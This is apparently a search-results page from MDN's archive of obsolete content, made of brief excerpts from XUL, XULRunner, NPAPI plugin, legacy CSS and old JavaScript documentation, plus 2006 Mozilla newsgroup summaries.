this effect in a xul application by moving a window near the bottom of the screen and clicking a menu or button that has a menu.
builder - Archive of obsolete content
« xul reference builder type: nsixultemplatebuilder for content generated from a template,
this is the xpcom object that is responsible for generating the content.
...you may need to do
this if you have adjusted the rules manually.
... for example, given a reference to a tree mytree,
this example will rebuild its content: mytree.builder.rebuild(); ...
defaultButton - Archive of obsolete content
« xul reference defaultbutton type: string normally
this attribute should not be set, but if it is, it specifies the default button in the dialog.
... typically,
this means that the button will be activated when the enter key is pressed.
...
this should be set to one of the same values as those for the buttons attribute.
next - Archive of obsolete content
« xul reference next type: string wizardpage id set to the pageid of the next page after
this one.
... when set, the page with
this pageid is displayed when the next button is pressed.
...
this can be used to create wizards that do not have a linear sequence.
selected - Archive of obsolete content
« xul reference selected type: boolean
this property's value is true if
this element is selected, or false if it is not.
...
this property is read only.
...
this property is available for menuitem and menuseparator elements in firefox 3.
selectedItem - Archive of obsolete content
if no item is currently selected,
this value will be null.
... you can select an item by setting
this value.
...the listbox, richlistbox, radiogroup, etc., not the list item that was selected) when it is changed either via
this property, the selectedindex property, or changed by the user.
state - Archive of obsolete content
« xul reference state type: string
this read only property indicates whether the popup is open or not.
...
this state will occur during the popupshowing event.
...
this state will occur during the popuphiding event.
tag - Archive of obsolete content
« xul reference tag type: tag name
this may be set to a tag name.
... if set, the conditions will only match if the template builder is parsing content for an element directly inside
this tag.
...
this attribute is useful to provide different rules for outer and inner elements.
toolboxid - Archive of obsolete content
« xul reference toolboxid type: string the id of the toolbox
this toolbar is a member of.
...
this will either be the toolbox's parent (if it's in a toolbox), or, if the toolbar is an external toolbar (that is, one not contained in a toolbox), the id of the toolbox it should be considered to be part of.
...
this makes it possible to have toolbars that are not contained within toolboxes, such as the add-on bar.
Toolbars - Archive of obsolete content
a simple toolbar inside a toolbox source view <toolbox> <toolbar id="nav-toolbar"> <toolbarbutton label="back"/> <toolbarbutton label="forward"/> </toolbar> </toolbox>
this has created a toolbar containing two buttons, a back button and a forward button.
...
this has involved four new tags, which are described here.
...
this is because we need the vertical orientation so that the toolbar will appear above everything else.
XUL Tutorial - Archive of obsolete content
this tutorial describes xul, the xml user-interface language.
...
this language was created for the mozilla application and is used to describe its user interface.
...ribute inheritance adding properties adding methods adding event handlers xbl inheritance creating reusable content using css and xbl xbl example specialized window types features of a window creating dialogs open and save dialogs creating a wizard more wizards overlays cross package overlays installation creating an installer install scripts additional install features
this xul tutorial was originally created by neil deakin.
Using multiple DTDs - Archive of obsolete content
single dtd to make strings in your xul file localizable, you normally add a dtd declaration at the beginning of the file like
this: <!doctype window system "chrome://myextension/locale/mainwindow.dtd"> where "window" is the local name of the document (root) element.
... assuming you have an entity called somebutton.label defined in mainwindow.dtd, you can access the entity like
this: <button id="somebutton" label="&somebutton.label"> multiple dtds if you want to use multiple dtds with your xul file, you can simply list all of the dtds inside your dtd declaration: <!doctype window [ <!entity % commondtd system "chrome://myextensions/locale/common.dtd"> %commondtd; <!entity % mainwindowdtd system "chrome://myextension/locale/mainwindow.dtd"> %mainwindowdtd; ]> you can now access the entities declared in the dtds as shown above.
...then accessing entities from both dtds would look like
this: <button id="somebutton" label="&somebutton.label"> ...
Accessibility/XUL Accessibility Reference - Archive of obsolete content
this table is designed to show how to expose text properly for various xul element types.
... button <button label="<!--button text-->" /> <button id="butwrap1"> <label control="butwrap1"> <!--wrapped label--> </label> </button> <button id='butwrap2'> <label control="butwrap2" value="<!--
this-->" /> <label control="butwrap2" value="is" /> <label control="butwrap2" value="a" /> <label control="butwrap2" value="button" /> </button> <button image="images/img.xbm" tooltiptext="<!--button text-->"/> note that in the third example, only the first label is read browser jaws 7.10 issues to use a browser element with html, the type="content" attribute should b...
...however,
this attribute causes any xul loaded in the browser to have issues with jaws 7.10.
XUL and RDF - Archive of obsolete content
this page was auto-generated because a user created a sub-page to
this page.
... the implementation of the application object modelpurpose - the purpose of
this document is two-fold.
...
this section makes a technical argument both for having xul in the first place and for using rdf as the underlying implementation of xul's content model.
bindings - Archive of obsolete content
this element should be contained within a rule element and contain one or more binding elements.
...
this element is optional in firefox 3/mozilla 1.9 and later; instead binding elements may be placed directly inside the rule element.
...
this must be a uri of the property.
keyset - Archive of obsolete content
if
this attribute is set, the element is disabled.
...do not set the attribute to true, as
this will suggest you can set it to false to enable the element again, which is not the case.
...to enable the element, leave
this attribute out entirely.
listhead - Archive of obsolete content
if
this attribute is set, the element is disabled.
...do not set the attribute to true, as
this will suggest you can set it to false to enable the element again, which is not the case.
...to enable the element, leave
this attribute out entirely.
tabpanels - Archive of obsolete content
you may select an item by assigning its index to
this property.
... by assigning -1 to
this property, all items will be deselected.
...assigning a value to
this property will modify the selected panel.
textnode - Archive of obsolete content
this is useful if you want to use the html element or other elements that have text content inside them instead of in attributes.
...
this element does nothing outside of a template.
...
this value should be an rdf property (predicate).
Custom app bundles for Mac OS X - Archive of obsolete content
this tutorial will show you how to package your xulrunner-based application in a way which is consistent with the expectations of mac os x users.
...a xul application for mac os x should follow something similar to
this basic directory structure: example.app/ contents/ info.plist (application bundle properties are specified in
this xml file.) pkginfo (
this is a simple text file and is created along with the info.plist file) macos/ (the macos folder will contain your xulrunner executable) xulrunner (
this is the xulrunner stub) resources/ (
this is where you place your xul application code and support files) application.ini (xulrunner-related application settings) example.icns (
this is the icon which ...
...will be used by your application bundle) chrome/ content/ example.xul (
this directory contains your application's chrome) example.manifest defaults/ preferences/ app-prefs.js (
this provides some default values for preferences) application bundle contents in addition to the standard directory hierarchy that's required of all mac os x applications, as shown above in application bundle layout, there are some specific rules for what content goes where: the top-level directory is given a name that ends with .app which designates the whole package as an application bundle.
XULRunner Hall of Fame - Archive of obsolete content
one example of
this tight integration is that the form in a web site can collect payment and set up a login for a members only section.
... sqlite manager manage all your sqlite databases using
this lightweight extension for firefox, thunderbird, seamonkey, songbird, komodo etc.
...latest release august 2010 plain old webserver google warns that
this link is unsafe.
How to enable locale switching in a XULRunner application - Archive of obsolete content
this article is for developers who have localised their xul application using dtd entity files and want to provide their users with a mechanism to switch the locale in the application itself.
...here is a code snippet showing how
this is done: the definition of the xul control: <listbox id="locale-listbox"> <!-- generated list items go in here --> </listbox> <button label="&switchlocale.button;" oncommand="changelocale()"/> the javascript code to populate the control: try { // query available and selected locales var chromeregservice = components.classes["@mozilla.org/chrome/chrome-registry;1"].getservice(); var xulch...
...there.is.only.xul"; var localelistbox = document.getelementbyid("locale-listbox"); var selecteditem = null; while(availablelocales.hasmore()) { var locale = availablelocales.getnext(); var listitem = document.createelementns(xul_ns, "listitem"); listitem.setattribute("value", locale); listitem.setattribute("label", locale); if (locale == selectedlocale) { // is
this the current locale?
mozilla.dev.platform FAQ - Archive of obsolete content
please make sure you're using 1.8.0.4 or later (not 1.8.0.1, which had a bug that prevented
this from working properly).
...a: have the browser.chromeurl preference -
this should be a xul document containing a <browser type="content-primary"> element in which the popup window's content should get loaded.
... visual studio express 2005 q: when i try to run xulrunner-stub.exe i get the error "
this application failed to start because msvcr80.dll was not found." a: see bug 350616 ...
2006-11-10 - Archive of obsolete content
this has been changed to alt+shift for content accesskeys due to the "conflicts with ui mnemonics" according to aaron leventhal.
...
this is reported to have broken accesskeys using numeric values.
...currently there is a work-around extension available at bug 357101 to temporarily solve
this problem.
2006-10-26 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - october 20, 2006 - october 26, 2006 announcements none
this week.
... is
this a bug in firefox?
... meetings none
this week.
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - october 20, 2006 - october 27, 2006 announcements none
this week.
... is
this a bug in firefox?
... meetings none
this week.
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - november 17, 2006 - november 24, 2006 announcements none
this week.
... a user questions if there is something broken in a nightly build since the user keeps getting
this error from the trunk: "firefox.exe - application error: the application failed to initialize properly." removal of false positives in firefox 2 phishing a user inquires how to remove false positives from the firefox phising filters.
... meetings none
this week.
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.apps.thunderbird - november 4-10, 2006 announcements none for
this week.
...
this has been filed as bug 360118.
...
this is already addressed in bug 244030.
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.apps.thunderbird - november 10 - 17, 2006 announcements none for
this week discussions how to fiter out mail for a particular recepient?
...
this user want to add a filter to his tb, so that it could color the mail that is for a particular recepient, however, the regular expression that he uses doesn't work and want suggestion from others.
...there are also some perl code provided in
this link.
2006-10-06 - Archive of obsolete content
in order to fix
this he deleted the tree part where host_xpidl was located.
... discussions there were no discussions
this week.
... meetings there were no meetings
this week.
2006-12-01 - Archive of obsolete content
firefox's use of
this code has been removed but the windows dde shell integration code has been kept so that 3rd party apps depending on
this code can stay working.
... discussion november 29th gecko 1.9/gran paradiso status meeting other than annoucing the meeting,
this thread discusses where else can info about what happens at the meetings be found (since the agenda often seems bare).
...
this newsgroup or "governance"?
2006-10-20 - Archive of obsolete content
summary: mozilla.dev.platform - october 14th to october 20th 2006 announcements no announcements
this week.
...
this is a xulrunner 1.8.0.4 application.
... meetings no meetings
this week ...
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.platform - november 11th - november 17th, 2006 announcements no announcements
this week traffic xulrunner: <browser> not allowing javascript popup windows b notes that when using xul elements <browser/> and <tabbrowser/> the javascript popup windows don't work out of the box and asks what needs to be implement.
...nickolay ponomarev lets us know that processing instructions are now added to xul document's dom
this also means, you can no longer use document.firstchild in xul scripts to get the root element of a xul document and the xml-stylesheet and xul-overlay processing instructions outside the prolog no longer have any effect peter.sei...@gmail.com runs into some difficulties deploying xulrunner 1.8 on os x?
... meetings no meetings
this week ...
2006-12-01 - Archive of obsolete content
summary: mozilla.dev.platform - november 25th - december 1st, 2006 announcements no announcements
this week traffic alex vincent posts that he has started a xulrunner/mac faq here on mozdev.
... lorne kates replies, pointing to the existing faq for
this newsgroup.
... meetings no meetings
this week ...
2006-10-20 - Archive of obsolete content
there are a few concerns with the software updates, and a decision is required on
this before a "go" for rc3 release can be given.
... help required designing new home for quality.mozilla.org - talented web designers and/or artists interested in helping the design for quality.mozilla.org please read
this posting.
... discussions none for
this week meetings upcoming firefox test day - testing will be emphasized on ajax/web 2.0, dhtml, and plugin heavy sites!
2006-10-20 - Archive of obsolete content
summary: mozilla.dev.security - october 14, 2006 to october 20, 2006 return to mozilla-dev-security announcements none during
this week.
... --------------010306060708080008030904 content-type: audio/mpeg; name="eternals - babalus's wedding dayfinal.mp3" content-transfer-encoding: base64 content-id: <part1.00030607.05030...@gmail.com> content-disposition: inline; filename="eternals - babalus's wedding dayfinal.mp3" he wonders why
this is.
... meetings none during
this week.
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.security - october 28, 2006 to november 3, 2006 return to mozilla-dev-security announcements none during
this week.
... discussions extended validation certificates major discussion
this week started by gervase markham about security certificates, more specifically extended validation certificates.
...more information about ca can be found at http://www.cabforum.org/ meetings none during
this week.
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.security - november 4, 2006 to november 10, 2006 return to mozilla-dev-security announcements none during
this week.
... good ideas a splinter off of the extended validation certificates discussion going over whether or not fraudulent websites may get these certificates and if so how to prevent
this from happening.
... meetings none during
this week.
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.security - november 18, 2006 to november 24, 2006 return to mozilla-dev-security announcements none during
this week.
... discussions continuing discussions on the extended validation certificates large amount of activity
this week regarding the extended validation certificates, duane posted several snippets of interesting debates as to whether or not the protocol should be introduced.
...yet more people disgruntled by ev proposal mozilla, opera and co only tout open standards as it suits them in addition eddy nigg posted an alternative proposal for the use of extended validation certificates ev certificates / another proposal meetings none during
this week.
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.tech.layout - october 21 - october 27, 2006 announcements none
this week.
...it was determined that the offsetwidth property can be used to get
this value.
... meetings none
this week.
2006-09-22 - Archive of obsolete content
summary: mozilla.dev.tech.xul - sept 22-29, 2006 return to mozilla-dev-tech-xul announcements none during
this week.
... discussions none during
this week.
... meetings none during
this week.
2006-09-29 - Archive of obsolete content
summary: mozilla.dev.tech.xul - sept 22-29, 2006 return to mozilla-dev-tech-xul announcements none during
this week.
... discussions none during
this week.
... meetings none during
this week.
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.tech.xul - sept 29-oct 06, 2006 return to mozilla-dev-tech-xul announcements none during
this week.
... discussions none during
this week.
... meetings none during
this week.
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.tech.xul - oct 07-oct 13, 2006 return to mozilla-dev-tech-xul announcements none during
this week.
... discussions none during
this week.
... meetings none during
this week.
2006-10-20 - Archive of obsolete content
summary: mozilla.dev.tech.xul - oct 14-oct 20, 2006 return to mozilla-dev-tech-xul announcements none during
this week.
...
this is an unexpected result and david has said he will post a bug.
... meetings none during
this week.
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.tech.xul - oct 21-oct 27, 2006 return to mozilla-dev-tech-xul announcements none during
this week.
... discussions none during
this week.
... meetings none during
this week.
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.tech.xul - oct 28-nov 3, 2006 return to mozilla-dev-tech-xul announcements none during
this week.
... discussions none during
this week.
... meetings none during
this week.
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.tech.xul - nov 4-nov 10, 2006 return to mozilla-dev-tech-xul announcements none during
this week.
... discussions none during
this week.
... meetings none during
this week.
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.tech.xul - nov 18-nov 24, 2006 return to mozilla-dev-tech-xul announcements none during
this week.
... discussions none during
this week.
... meetings none during
this week.
2006-12-01 - Archive of obsolete content
summary: mozilla.dev.tech.xul - nov 25-dec 01, 2006 return to mozilla-dev-tech-xul announcements none during
this week.
... discussions none during
this week.
... meetings none during
this week.
NPN_ForceRedraw - Archive of obsolete content
note: as of firefox 4,
this function no longer has any effect when running with separate plugin processes.
...
this causes a synchronous update event or paint message for the plug-in.
... browsers may ignore
this request.
NPN_MemFlush - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary note:
this function is only implemented on mac os x.
...on the mac, you can use
this method to free memory before calling memory-intensive system calls.
... in general, plug-ins should use npn_memalloc() to allocate memory in the browser's memory space, since
this function automatically frees cached data if necessary to fulfill the request.
NPN_PluginThreadAsyncCall - Archive of obsolete content
there are inherent race conditions between calling
this function and termination of the plug-in instance.
... the browser might not execute calls successfully registered with
this api call during plug-in termination.
...after control returns to the browser, it is free to call the function with its argument from
this thread.
NPObject - Archive of obsolete content
npobject is the type used to express objects exposed by either the plugin or by the browser through
this api.
... the browsers are expected to expose their window objects and everything reachable from it through
this api.
...to aid with the reference counting and ownership management in general, the functions npn_createobject(), npn_retainobject(), npn_releaseobject(), and npn_releasevariantvalue() are provided as part of
this api.
NPP_New - Archive of obsolete content
this data is stored in instance->pdata.
... saved pointer to data saved by npp_destroy for a previous instance of
this plug-in at the same url.
...
this gives developers a chance to use private attributes to communicate instance-specific options or other information to the plug-in.
NPP_SetWindow - Archive of obsolete content
in
this case, the plug-in must not perform any additional graphics operations on the window and should free any associated resources.
...
this window is valid for the life of the instance, or until npp_setwindow is called again with a different value.
...on mac os,
this field points to an np_port structure.
NPSetWindowCallbackStruct - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary note:
this structure is only used on unix platforms.
...the npp_setwindow() function passes a pointer to
this structure to the plug-in.
...the type field of
this structure always contains np_setwindow.
NPWindow - Archive of obsolete content
the x, y, height, and width coordinates of npwindow specify the position and size of
this area.
...
this window is valid until npp_setwindow is called again with a different window or the instance is destroyed.
... the plug-in should not modify the field values in
this structure.
NP_Initialize - Archive of obsolete content
description the browser calls
this function only once: when a plug-in is loaded, before the first instance is created.
...
this is the first function that the browser calls.
...allocate any memory or resources shared by all instances of your plug-in at
this time.
Theme changes in Firefox 3 - Archive of obsolete content
this article covers the changes that need to be made to update a firefox theme to work properly in firefox 3.
... filename css file details changes to the default theme the table below lists changes made in the default theme for firefox 3; you can use
this information as a starting point for figuring out the changes you need to make.
...it was already done
this way in winstripe.
Browser Feature Detection - Archive of obsolete content
this test takes that idea to the extreme and tests a large number of properties and methods to determine the level of support a browser has for particular standards and reports a rating as the percentage of names the browser defines.
...
this article has generally never been more than a way to show off firefox web compatibility, rather than something truly informative in a broader sense.
... note:
this reprinted article was originally part of the devedge site.
-moz-border-bottom-colors - Archive of obsolete content
ngle <color> value */ -moz-border-bottom-colors: #f0f0f0; /* multiple <color> values */ -moz-border-bottom-colors: #f0f0f0 #a0a0a0 #505050 #000000; /* global values */ -moz-border-bottom-colors: inherit; -moz-border-bottom-colors: initial; -moz-border-bottom-colors: unset; when an element has a border that is larger than a single css pixel, each line of pixels uses the next color specified in
this property, from the outside in.
...
this eliminates the need for nested boxes.
...ding: 20px; background-color: gray; border: 10px solid black; -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; } specifications
this property is not part of any specification.
-moz-border-left-colors - Archive of obsolete content
/* single <color> value */ -moz-border-left-colors: #f0f0f0; /* multiple <color> values */ -moz-border-left-colors: #f0f0f0 #a0a0a0 #505050 #000000; /* global values */ -moz-border-left-colors: inherit; -moz-border-left-colors: initial; -moz-border-left-colors: unset; when an element has a border that is larger than a single css pixel, each line of pixels uses the next color specified in
this property, from the outside in.
...
this eliminates the need for nested boxes.
...ding: 20px; background-color: gray; border: 10px solid black; -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; } specifications
this property is not part of any specification.
-moz-border-right-colors - Archive of obsolete content
/* single <color> value */ -moz-border-right-colors: #f0f0f0; /* multiple <color> values */ -moz-border-right-colors: #f0f0f0 #a0a0a0 #505050 #000000; /* global values */ -moz-border-right-colors: inherit; -moz-border-right-colors: initial; -moz-border-right-colors: unset; when an element has a border that is larger than a single css pixel, each line of pixels uses the next color specified in
this property, from the outside in.
...
this eliminates the need for nested boxes.
...ding: 20px; background-color: gray; border: 10px solid black; -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; } specifications
this property is not part of any specification.
-moz-border-top-colors - Archive of obsolete content
/* single <color> value */ -moz-border-top-colors: #f0f0f0; /* multiple <color> values */ -moz-border-top-colors: #f0f0f0 #a0a0a0 #505050 #000000; /* global values */ -moz-border-top-colors: inherit; -moz-border-top-colors: initial; -moz-border-top-colors: unset; when an element has a border that is larger than a single css pixel, each line of pixels uses the next color specified in
this property, from the outside in.
...
this eliminates the need for nested boxes.
...ding: 20px; background-color: gray; border: 10px solid black; -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; } specifications
this property is not part of any specification.
-ms-content-zooming - Archive of obsolete content
remarks
this property has no effect unless overflow is permitted on both the x- and y-axes.
... starting with windows 8.1,
this property is also supported for touchpad interaction.
...
this property requires windows 8 or later.
-ms-filter - Archive of obsolete content
important: as of windows internet explorer 9
this feature was deprecated.
... as of internet explorer 10
this feature was removed and should no longer be used.
...a simple way to accomplish
this is to give the element a specified height and width, or both.
-ms-scroll-limit-x-max - Archive of obsolete content
remarks
this property has no effect on non-scrollable elements.
... the specified behavior of the -ms-scroll-limit-x-max property is only applicable at a mscontentzoomfactor of 1; the behavior of
this property is undefined at other zoom factors.
...
this property requires windows 8 or later.
-ms-scroll-limit-x-min - Archive of obsolete content
remarks
this property has no effect on non-scrollable elements.
... the specified behavior of the -ms-scroll-limit-x-min property is only applicable at a mscontentzoomfactor of 1; the behavior of
this property is undefined at other zoom factors.
...
this property requires windows 8 or later.
-ms-scroll-limit-y-max - Archive of obsolete content
remarks
this property has no effect on non-scrollable elements.
... the specified behavior of the -ms-scroll-limit-y-max property is only applicable at a mscontentzoomfactor of 1; the behavior of
this property is undefined at other zoom factors.
...
this property requires windows 8 or later.
-ms-scroll-limit-y-min - Archive of obsolete content
remarks
this property has no effect on non-scrollable elements.
... the specified behavior of the -ms-scroll-limit-y-min property is only applicable at a mscontentzoomfactor of 1; the behavior of
this property is undefined at other zoom factors.
...
this property requires windows 8 or later.
-ms-scroll-limit - Archive of obsolete content
remarks
this property has no effect on non-scrollable elements.
... the specified behavior of the -ms-scroll-limit property is only applicable at a mscontentzoomfactor of 1; the behavior of
this property is undefined at other zoom factors.
...
this property requires windows 8 or later.
-ms-scroll-snap-x - Archive of obsolete content
remarks
this property requires windows 8 or later.
...
this property has no effect on non-scrollable elements.
... starting with windows 8.1,
this property is also supported for mouse, keyboard, and touchpad interaction.
-ms-scroll-snap-y - Archive of obsolete content
remarks
this property requires windows 8 or later.
...
this property has no effect on non-scrollable elements.
... starting with windows 8.1,
this property is also supported for mouse, keyboard, and touchpad interaction.
-ms-text-autospace - Archive of obsolete content
this is the default value.
... remarks
this property requires windows 8 or later.
...
this property is an extension to css, and can be used as a synonym for text-autospace in ie8 standards mode.
:-moz-system-metric() - Archive of obsolete content
this page was auto-generated because a user created a sub-page to
this page.
... note: since firefox 58,
this pseudo-class is no longer available to web content — it is only available internally (e.g.
...
this will exclude windows classic themes as well as third-party themes.
::-ms-clear - Archive of obsolete content
this pseudo-element is non-standard, supported only in internet explorer 10, internet explorer 11, and microsoft edge.
...
this includes inputs that appear text-like or fall back to type="text".
...dth syntax ::-ms-clear example html <form> <label for="firstname">first name:</label> <input type="text" id="firstname" name="firstname" placeholder="first name"> <br> <label for="lastname">last name:</label> <input type="text" id="lastname" name="lastname" placeholder="second name"> </form> css input, label { display: block; } input[type=text]::-ms-clear { color: red; /*
this sets the cross color as red.
::-ms-fill - Archive of obsolete content
this pseudo-element is available only in internet explorer 10, internet explorer 11, and microsoft edge.
...by setting animation-name on ::-ms-fill, you can change the animation, as shown in
this table: value description none turns off the animation so that no dots are displayed.
...e-block, none) font height margin -ms-background-position-x -ms-background-position-y -ms-high-contrast-adjust opacity outline-color, outline-style, and outline-width padding transform and transform-origin visibility syntax ::-ms-fill example html <progress value="10" max="50"></progress> css progress::-ms-fill { background-color: orange; } result a progress bar using
this style might look something like
this: ...
-moz-mac-graphite-theme - Archive of obsolete content
note: since firefox 58,
this media feature is no longer available to web content — it is only available internally (e.g.
... syntax <integer> if the user has configured their device to use the "graphite" appearance on mac os x,
this is 1.
... if the user is using the standard blue appearance, or is not on mac os x,
this is 0.
-moz-touch-enabled - Archive of obsolete content
as of firefox 73,
this feature is no longer supported.
... syntax <integer> if the device supports touch events (for a touch screen),
this is 1.
... media: media/visual accepts min/max prefixes: no example you might use
this feature to render your buttons slightly larger if the user is on a touch-screen device, to make them more finger-friendly.
-moz-windows-glass - Archive of obsolete content
note: since firefox 58,
this media feature is no longer available to web content — it is only available internally (e.g.
... syntax <integer> if the user is using windows glass theme,
this is 1; otherwise it's 0.
... note that
this only exists for windows 7 and earlier.
CSS - Archive of obsolete content
however, those elements' ancestors have
this pseudo-class applied to them.:-moz-system-metric()
this page was auto-generated because a user created a sub-page to
this page.::-ms-browsethe ::-ms-browse css pseudo-element is a microsoft extension that represents the button that opens the file picker of <input type="file">.::-ms-checkthe ::-ms-check css pseudo-element is a microsoft extension that represents checkboxes and radio button groups ...
...
this pseudo-element is non-standard, supported only in internet explorer 10, internet explorer 11, and microsoft edge.::-ms-expandthe ::-ms-expand css pseudo-element is a microsoft extension that represents the button of a <select> menu control that opens or closes the drop-down menu.
...
this is important in that it provides a natural way to tell several voices apart, as each can be positioned to originate at a different location on the sound stage.
E4X for templating - Archive of obsolete content
while it may be obvious after a study of the basics of e4x that it can be used for
this purpose, if one adds a few common purpose functions (especially along with the convenience of javascript 1.8 expression closures), the templates can function more dynamically, offering the power and readability of templating languages such as smarty for php (though admittedly without the currently wider cross-browser support of xslt or the strictly-xml approach of phptal or seethrough templating).
...inline functions as explained in the tutorial, it is possible to use anonymous functions inline (returning the desired content, including potentially xmllist's) in order to execute more than a single related statement, keeping
this logic together with the resulting xml.
... although a big advantage of e4x is being able to separate presentation from business logic, and the above-mentioned technique may fly in the face of
this, if formatted well, it can also allow inline shaping of xml somewhat akin to the w3c standard xquery language, allowing the scripting to mix in context with the surrounding declarative xml: var a = <a><b/><c/><d/></a>; var b = <bar>{function () { var content = <></>; for each (var el in a) { el.@att = 'val'; content += el; } return content; }()}</bar>; giving: <bar> <b att="val"/> <c att="val"/> <d att="val"/> </bar> one may still wish to remove complex business logic and supply as variables to the e4x, but the above allows the shaping of resulting content to be made more clear (and sometimes design ...
Accessing XML children - Archive of obsolete content
this gives an xml document of <foo> <bar> <baz/> <quux/> </bar> </foo> note, however, that assigning a non-xml value to a child element that doesn't exist will create that element.
...in
this case, accessing foo.bar will return an xml list object, of all child elements of the type "bar".
...var element = <foo> <bar baz="1">red</bar> <bar baz="2">blue</bar> </foo>; var list = element.bar; list.length(); // returns 2 list[0]; // the first bar element list[1]; // the second bar element notice further that
this list is "live" in the sense that changes made to the list are reflected back in the element that the list originally came from.
Introduction - Archive of obsolete content
this is done with brace ({}) notation.
...see e4x for templating for more discussion on
this usage.
... serializing one of the most powerful tools of e4x is its ability to serialize an entire xml document (or portion thereof) into a string with one simple call to .toxmlstring() var element1 = <foo/>; var element2 = <bar/>; element1.appendchild(element2); element1.toxmlstring();
this will print <foo> <bar/> </foo> calling tostring() will achieve the same effect in
this case, though calling tostring() on an element with only text content will product the text content (e.g., <foo>abc</foo>.tostring(); will simply provide 'abc').
Array comprehensions - Archive of obsolete content
obsolete since gecko 58 (firefox 58 / thunderbird 58 / seamonkey 2.55)
this feature is obsolete.
... var numbers = [1, 2, 3, 4]; var doubled = [for (i of numbers) i * 2]; console.log(doubled); // logs 2,4,6,8
this is equivalent to the following map() operation: var doubled = numbers.map(i => i * 2); comprehensions can also be used to select items that match a particular expression.
...
this means that they will not be available outside of the comprehension.
GetObject - Archive of obsolete content
this object is a microsoft extension and is only supported in internet explorer versions prior to ie 9 (standards mode).
...for example: var cadobject; cadobject = getobject("c:\\cad\\schema.cad"); when
this code is executed, the application associated with the specified pathname is started, and the object in the specified file is activated.
...for information on how to create
this string, see the documentation for the application that created the object.
New in JavaScript 1.8.1 - Archive of obsolete content
this version was included in firefox 3.5.
... javascript 1.8.1 is a modest update syntactically to javascript; the main change in
this release is the addition of the tracemonkey just-in-time compiler, which improves performance.
...
this makes the behavior of setting the values of properties more predictable.
New in JavaScript 1.8.5 - Archive of obsolete content
this version was included in firefox 4.
... function.prototype.bind() creates a new function that, when called, itself calls
this function in the context provided (with a given sequence of arguments).
...these were all pretty esoteric and rarely used; if
this affects you, see
this blog post for details.
LiveConnect - Archive of obsolete content
documentation java plugin - liveconnect documentation
this is likely the most up-to-date documentation of liveconnect.
... mailing list newsgroup rss feed related topics javascript, plugins older notes (please update or remove as needed.) while the bloated liveconnect code in the mozilla source was removed in version 1.9.2 of the platform (see bug 442399), its former api has been restored (see also the specification and
this thread) (building on npapi?), and as of java 6 update 12, extensions as well as applets can make use of
this restored api.
...by writing code like "new java.lang.string('javascript string')" for classes in the java.* package hierarchy, or using a new "packages" object for classes outside
this hierarchy).
forEach - Archive of obsolete content
a much more sane approach would be to count on the implementation to throw errors if wrong arguments are provided and implement
this in fewer lines of code.
...jswisher 01 october 2011 <hr> there is some mistype in array.prototype.foreach: kvalue = o[ pk ]; should be kvalue = o[ k ]; <hr>
this page has been the target of a revert war, and so write access to it has been restricted.
...jswisher 15 aug 2011 <hr> is
this a from _core_ of javascript 1.5?
XForms Custom Controls Examples - Archive of obsolete content
output showing images <binding id="output-image" extends="chrome://xforms/content/xforms.xml#xformswidget-base"> <content> <html:div> <html:img anonid="content"/> </html:div> </content> <implementation implements="nsixformsuiwidget"> <method name="refresh"> <body> var img = document.getanonymouselementbyattribute(
this, "anonid", "content"); img.setattribute("src",
this.stringvalue); return true; </body> </method> </implementation> </binding> output showing xhtml <binding id="output-xhtml" extends="chrome://xforms/content/xforms-xhtml.xml#xformswidget-output"> <content> <children includes="label"/> <xhtml:div class="xf-value" anonid="content"></xhtml:div> <children/> </content...
...> <implementation implements="nsixformsuiwidget"> <field name="_domparser">null</field> <property name="domparser" readonly="true"> <getter> if (!
this._domparser)
this._domparser = new domparser(); return
this._domparser; </getter> </property> <method name="refresh"> <body> // get new value, parse, and import it.
... var val =
this.stringvalue; var newdom =
this.domparser.parsefromstring(val, "text/xml"); var impnode = document.importnode(newdom.firstchild, true); // get content node, clean it, and update it var content = document.getanonymouselementbyattribute(
this, "anonid", "content"); if (content.firstchild) { content.removechild(content.firstchild); } content.appendchild(impnode); return true; </body> </method> </implementation> </binding> ...
